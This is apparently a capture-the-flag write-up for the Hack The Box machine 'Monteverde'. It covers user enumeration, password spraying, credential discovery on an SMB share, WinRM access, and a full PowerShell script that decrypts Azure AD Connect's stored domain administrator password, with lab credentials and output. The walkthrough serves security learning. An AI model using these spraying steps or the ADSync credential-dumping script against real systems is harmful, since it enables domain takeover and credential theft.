
Monteverde was an interesting 30 point box created by egre55. It started out with some user enumeration which leads you to password spraying and discovering a weak password policy for a service account, you then dump an SMB share using the service account’s credentials and discover more creds used by Azure which you can use to WinRM in and get user. You then have to modify an exploit which abuses Azure’s Password Hash Synchronization to dump the Administrator credentials, you then use the creds to WinRM in again and get the root flag.
User.txt
Nmap
A quick nmap scan reveals the following ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# nmap -sT -p- --min-rate 5000 10.10.10.172
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
636/tcp open ldapssl syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
49667/tcp open unknown syn-ack
Focusing on the more important ports we get the following information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# nmap -sV -sC -T4 10.10.10.172 -p 53,88,135,139,389,445
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-15 19:29:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 9m22s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-01-15T19:31:48
|_ start_date: N/A
SMB
Running nullinux
with the -users
flag presents you with a list of users and their associated group memberships:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# nullinux -users 10.10.10.172
[*] Enumerating Domain Information for: 10.10.10.172
[+] Domain Name: MEGABANK
[+] Domain SID: S-1-5-21-391775091-850290835-3566037492
[*] Enumerating querydispinfo for: 10.10.10.172
AAD_987d7f2f57d2
dgalanos
Guest
mhope
roleary
SABatchJobs
smorgan
svc-ata
svc-bexec
svc-netapp
[*] Enumerating enumdomusers for: 10.10.10.172
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
[*] Enumerating LSA for: 10.10.10.172
[*] Performing RID Cycling for: 10.10.10.172
[*] Testing 10.10.10.172 for Known Users
[*] Enumerating Group Memberships for: 10.10.10.172
[+] Group: Enterprise Read-only Domain Controllers
[+] Group: Domain Users
Administrator
krbtgt
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
[+] Group: Domain Guests
Guest
[+] Group: Domain Computers
[+] Group: Group Policy Creator Owners
Administrator
[+] Group: Cloneable Domain Controllers
[+] Group: Protected Users
[+] Group: DnsUpdateProxy
[+] Group: Azure Admins
Administrator
AAD_987d7f2f57d2
mhope
[+] Group: File Server Admins
[+] Group: Call Recording Admins
[+] Group: Reception
[+] Group: Operations
smorgan
[+] Group: Trading
dgalanos
[+] Group: HelpDesk
roleary
[+] Group: Developers
Azure Admins
is interesting. I tend to copy all the users from SMB enumeration into a file as they usually come in handy later when probing for access to services.
Crackmapexec
Kerberos and LDAP enumeration turned up little, I decided to test for basic credential combinations with the username list gathered with nullinux
alongside some basic passwords and copies of the usernames:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# cat users.txt
Administrator
krbtgt
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
# cat pass.txt
password
password1
pass123
123456
Password
Password1
Administrator
krbtgt
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
# crackmapexec smb 10.10.10.172 -u users.txt -p pass.txt
CME 10.10.10.172:445 MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs
The SABatchJobs
account is allowed access to SMB with SABatchJobs
as the password.
SMB
I attempted logging in via WinRM but didn’t succeed, however the creds do allow you to list the following shares from SMB. Recursively listing out the users$
share you’ll notice an azure.xml
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$'
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.172...
[+] IP: 10.10.10.172:445 Name: 10.10.10.172
Disk Permissions Comment
---- ----------- -------
.
dr--r--r-- 0 Fri Jan 3 08:12:48 2020 .
dr--r--r-- 0 Fri Jan 3 08:12:48 2020 ..
dr--r--r-- 0 Fri Jan 3 08:15:23 2020 dgalanos
dr--r--r-- 0 Fri Jan 3 08:41:18 2020 mhope
dr--r--r-- 0 Fri Jan 3 08:14:56 2020 roleary
dr--r--r-- 0 Fri Jan 3 08:14:28 2020 smorgan
users$ READ ONLY
.\
dr--r--r-- 0 Fri Jan 3 08:12:48 2020 .
dr--r--r-- 0 Fri Jan 3 08:12:48 2020 ..
dr--r--r-- 0 Fri Jan 3 08:15:23 2020 dgalanos
dr--r--r-- 0 Fri Jan 3 08:41:18 2020 mhope
dr--r--r-- 0 Fri Jan 3 08:14:56 2020 roleary
dr--r--r-- 0 Fri Jan 3 08:14:28 2020 smorgan
.\mhope\
dr--r--r-- 0 Fri Jan 3 08:41:18 2020 .
dr--r--r-- 0 Fri Jan 3 08:41:18 2020 ..
-w--w--w-- 1212 Fri Jan 3 09:59:24 2020 azure.xml
I downloaded it and checked out the file contents:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs --download 'users$\mhope\azure.xml'
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.172...
[+] Starting download: users$\mhope\azure.xml (1212 bytes)
[+] File output to: /root/10.10.10.172-users_mhope_azure.xml
# cat /root/10.10.10.172-users_mhope_azure.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
A Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential
object is often used when creating a new AzureAD Service Prinicipal (New-AzAdServicePrincipal
or New-AzureRmADServicePrincipal
depending on whether you’re using ARM or ASM).
These objects must have a valid StartDate
and EndDate
, and take a plaintext Password
. Below is an example from the Microsoft documentation:
1
2
3
Import-Module Az.Resources # Imports the PSADPasswordCredential object
$credentials = New-Object Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential -Property @{ StartDate=Get-Date; EndDate=Get-Date -Year 2024; Password=password}
$sp = New-AzAdServicePrincipal -DisplayName ServicePrincipalName -PasswordCredential $credentials
Information on Azure AD password policies can be found here.
Flag
With the creds you can simply WinRM in and type
the user flag:
1
2
3
4
5
6
7
# evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
*Evil-WinRM* PS C:\Users\mhope\Documents> whoami
megabank\mhope
*Evil-WinRM* PS C:\Users\mhope\desktop> type user.txt
496197...
Root.txt
Azure Admins
Running whoami /groups
informs us that we’re in the Azure Admins
group:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\users\AAD_987d7f2f57d2> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Azure Admins Exloits
Googling for Azure Admins exploit
will lead you to some interesting pages. The first result I saw was adconnectdump by the guys at fox-it. They’ve publish some quality tools, however the main thing that stood out was the Tool Comparison
section on the Github page:

It links to Adam Chester’s blog post on AzureAD Connect for red teamers.
Azure AD Connect
Azure AD Connect allows you to intergrate Azure AD (cloud) with your local on-premise Windows Active Directory services, very useful for synchronisation. Azure AD and Active Directory have 3 primary methods of intergration:
- Password Hash Synchronization (PHS)
- Pass Through Authentication (PTA)
- Active Directory Federated Services (ADFS)
Password Hash Synchonization sounds juicy doesn’t it? The following image from Microsoft demonstrates the process:

Password hash synchronization is one of the sign-in methods used to accomplish hybrid identity. Azure AD Connect synchronizes a hash, of the hash, of a users password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
Password hash synchronization is an extension to the directory synchronization feature implemented by Azure AD Connect sync. You can use this feature to sign in to Azure AD services like Office 365. You sign in to the service by using the same password you use to sign in to your on-premises Active Directory instance.
For more information on PHS click here.
Password Hash Sycnronization
Read Adam Chester’s blog for a detailed explanation of the exploit, I’ve copied the main points below.
PHS utilises the Microsoft.Online.PasswordSynchronization.dll
DLL which contains references to a number of Directory Replication Services (DRS) API’s (allowing replication of objects between domain controllers).
When deploying the connector a new database is created on the host called ADSync
(shown below on Monteverde):
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\programdata> Invoke-sqlcmd -Query "select name from sys.databases"
name
----
master
tempdb
model
msdb
ADSync
The mms_management_agent
table in the ADSync
db contains a private_configuration_xml
field which holds data regarding a specific user (Administrator in this case).
The encrypted password is stored within the encrypted_configuration
field. C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll
is referenced in the handling of this data within the connector service.
The PoC retrieves the keying material from the local ADSync database and passes it to the mcrypt.dll
for decryption, it then writes the decrypted credentials to the terminal.
PoC
The hardest part about getting this script working was finding the write SqlConnection
string for the -ArgumentList
parameter. The original PoC contained the following:
1
"Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
This fails on Monteverde, after some trial and error the following string succeeded (using the output from Invoke-sqlcmd -Query "SELECT SERVERPROPERTY('ServerName')"
for the Data Source
param):
1
"Data Source=MONTEVERDE;Initial Catalog=ADSync;Integrated Security=True;ApplicationIntent=ReadOnly"
The complete exploit is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=MONTEVERDE;Initial Catalog=ADSync;Integrated Security=True;ApplicationIntent=ReadOnly"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
Running the script and getting the creds:
1
2
3
4
*Evil-WinRM* PS C:\Users\mhope\Documents> .\azure.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
Flag
With the Administrator credentials you can simply WinRM in and type
the root flag:
1
2
3
4
5
6
# evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami
megabank\administrator
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
129096...